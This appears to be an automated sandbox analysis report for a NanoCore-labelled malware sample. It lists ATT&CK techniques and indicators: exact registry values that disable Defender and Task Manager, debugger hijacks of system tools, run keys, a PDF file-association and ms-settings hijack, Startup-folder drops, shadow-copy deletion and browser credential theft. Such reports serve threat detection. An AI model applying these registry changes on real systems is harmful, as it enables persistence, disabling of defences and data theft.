nanocore | 84f88c5ff8b7813bce377f350c6c8375854e55c6e13e769bdbabc80b9d5938b2

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	sutbongtva.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1148	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	sutbongtva.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	sutbongtva.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe"	sutbongtva.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	sutbongtva.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe"	sutbongtva.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	sutbongtva.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe"	sutbongtva.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	sutbongtva.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2000	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_170.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	sutbongtva.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	sutbongtva.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	sutbongtva.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe"	sutbongtva.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe"	sutbongtva.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe"	sutbongtva.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3652	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	sutbongtva.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	sutbongtva.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	sutbongtva.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3352	wscript.exe
120	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	sutbongtva.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	sutbongtva.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4724	sc.exe
5340	sc.exe
1408	sc.exe
5440	sc.exe
3200	sc.exe
5444	sc.exe
3804	sc.exe
6088	sc.exe
2012	sc.exe
5132	sc.exe
6020	sc.exe
940	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2732	cmd.exe
5476	cmd.exe
2200	cmd.exe
2600	cmd.exe
4320	cmd.exe
2604	cmd.exe
1988	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2568	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3792	ipconfig.exe
3912	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2116	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4800	vssadmin.exe
3392	vssadmin.exe
4760	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Control Panel\Desktop\WallpaperStyle = "2"	sutbongtva.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134310049707668378"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	sutbongtva.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	sutbongtva.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	sutbongtva.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	sutbongtva.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	sutbongtva.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	sutbongtva.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe\" \"%1\""	sutbongtva.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	sutbongtva.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	sutbongtva.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	sutbongtva.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command	sutbongtva.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings	sutbongtva.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell	sutbongtva.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtva.io_chrome.exe"	sutbongtva.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open\command\DelegateExecute	sutbongtva.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\ms-settings\shell\open	sutbongtva.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1044	schtasks.exe
1780	schtasks.exe
2096	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5772	chrome.exe
5772	chrome.exe
1148	powershell.exe
1148	powershell.exe
1148	powershell.exe
1536	WMIC.exe
1536	WMIC.exe
1536	WMIC.exe
1536	WMIC.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
2972	WMIC.exe
2972	WMIC.exe
2972	WMIC.exe
2972	WMIC.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
4176	WMIC.exe
4176	WMIC.exe
4176	WMIC.exe
4176	WMIC.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe
3760	sutbongtva.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3760	sutbongtva.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5772	chrome.exe
Token: SeCreatePagefilePrivilege	5772	chrome.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeShutdownPrivilege	5772	chrome.exe
Token: SeCreatePagefilePrivilege	5772	chrome.exe
Token: SeShutdownPrivilege	5772	chrome.exe
Token: SeCreatePagefilePrivilege	5772	chrome.exe
Token: SeShutdownPrivilege	5772	chrome.exe
Token: SeCreatePagefilePrivilege	5772	chrome.exe
Token: SeShutdownPrivilege	5772	chrome.exe
Token: SeCreatePagefilePrivilege	5772	chrome.exe
Token: SeShutdownPrivilege	5772	chrome.exe
Token: SeCreatePagefilePrivilege	5772	chrome.exe
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeSecurityPrivilege	1536	WMIC.exe
Token: SeTakeOwnershipPrivilege	1536	WMIC.exe
Token: SeLoadDriverPrivilege	1536	WMIC.exe
Token: SeSystemProfilePrivilege	1536	WMIC.exe
Token: SeSystemtimePrivilege	1536	WMIC.exe
Token: SeProfSingleProcessPrivilege	1536	WMIC.exe
Token: SeIncBasePriorityPrivilege	1536	WMIC.exe
Token: SeCreatePagefilePrivilege	1536	WMIC.exe
Token: SeBackupPrivilege	1536	WMIC.exe
Token: SeRestorePrivilege	1536	WMIC.exe
Token: SeShutdownPrivilege	1536	WMIC.exe
Token: SeDebugPrivilege	1536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1536	WMIC.exe
Token: SeRemoteShutdownPrivilege	1536	WMIC.exe
Token: SeUndockPrivilege	1536	WMIC.exe
Token: SeManageVolumePrivilege	1536	WMIC.exe
Token: 33	1536	WMIC.exe
Token: 34	1536	WMIC.exe
Token: 35	1536	WMIC.exe
Token: 36	1536	WMIC.exe
Token: SeBackupPrivilege	3268	vssvc.exe
Token: SeRestorePrivilege	3268	vssvc.exe
Token: SeAuditPrivilege	3268	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeSecurityPrivilege	1536	WMIC.exe
Token: SeTakeOwnershipPrivilege	1536	WMIC.exe
Token: SeLoadDriverPrivilege	1536	WMIC.exe
Token: SeSystemProfilePrivilege	1536	WMIC.exe
Token: SeSystemtimePrivilege	1536	WMIC.exe
Token: SeProfSingleProcessPrivilege	1536	WMIC.exe
Token: SeIncBasePriorityPrivilege	1536	WMIC.exe
Token: SeCreatePagefilePrivilege	1536	WMIC.exe
Token: SeBackupPrivilege	1536	WMIC.exe
Token: SeRestorePrivilege	1536	WMIC.exe
Token: SeShutdownPrivilege	1536	WMIC.exe
Token: SeDebugPrivilege	1536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1536	WMIC.exe
Token: SeRemoteShutdownPrivilege	1536	WMIC.exe
Token: SeUndockPrivilege	1536	WMIC.exe
Token: SeManageVolumePrivilege	1536	WMIC.exe
Token: 33	1536	WMIC.exe
Token: 34	1536	WMIC.exe
Token: 35	1536	WMIC.exe
Token: 36	1536	WMIC.exe
Token: SeShutdownPrivilege	5772	chrome.exe
Token: SeCreatePagefilePrivilege	5772	chrome.exe
Token: SeShutdownPrivilege	5772	chrome.exe
Token: SeCreatePagefilePrivilege	5772	chrome.exe
Token: SeShutdownPrivilege	5772	chrome.exe
Token: SeCreatePagefilePrivilege	5772	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe
5772	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3760	sutbongtva.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3760 wrote to memory of 5772	3760	sutbongtva.io_chrome.exe	89
PID 5772 wrote to memory of 5432	5772	chrome.exe	90
PID 3760 wrote to memory of 1148	3760	sutbongtva.io_chrome.exe	91
PID 3760 wrote to memory of 6088	3760	sutbongtva.io_chrome.exe	93
PID 3760 wrote to memory of 2012	3760	sutbongtva.io_chrome.exe	95
PID 3760 wrote to memory of 5132	3760	sutbongtva.io_chrome.exe	97
PID 5772 wrote to memory of 4740	5772	chrome.exe	99
PID 5772 wrote to memory of 4740	5772	chrome.exe	99
PID 5772 wrote to memory of 2568	5772	chrome.exe	100
PID 5772 wrote to memory of 1548	5772	chrome.exe	101
PID 5772 wrote to memory of 1548	5772	chrome.exe	101
PID 5772 wrote to memory of 1736	5772	chrome.exe	103
PID 5772 wrote to memory of 4200	5772	chrome.exe	104
PID 5772 wrote to memory of 1736	5772	chrome.exe	103
PID 5772 wrote to memory of 4200	5772	chrome.exe	104
PID 3760 wrote to memory of 940	3760	sutbongtva.io_chrome.exe	105
PID 3760 wrote to memory of 4724	3760	sutbongtva.io_chrome.exe	107
PID 5772 wrote to memory of 6044	5772	chrome.exe	109
PID 5772 wrote to memory of 6044	5772	chrome.exe	109
PID 3760 wrote to memory of 5340	3760	sutbongtva.io_chrome.exe	110
PID 3760 wrote to memory of 6020	3760	sutbongtva.io_chrome.exe	112
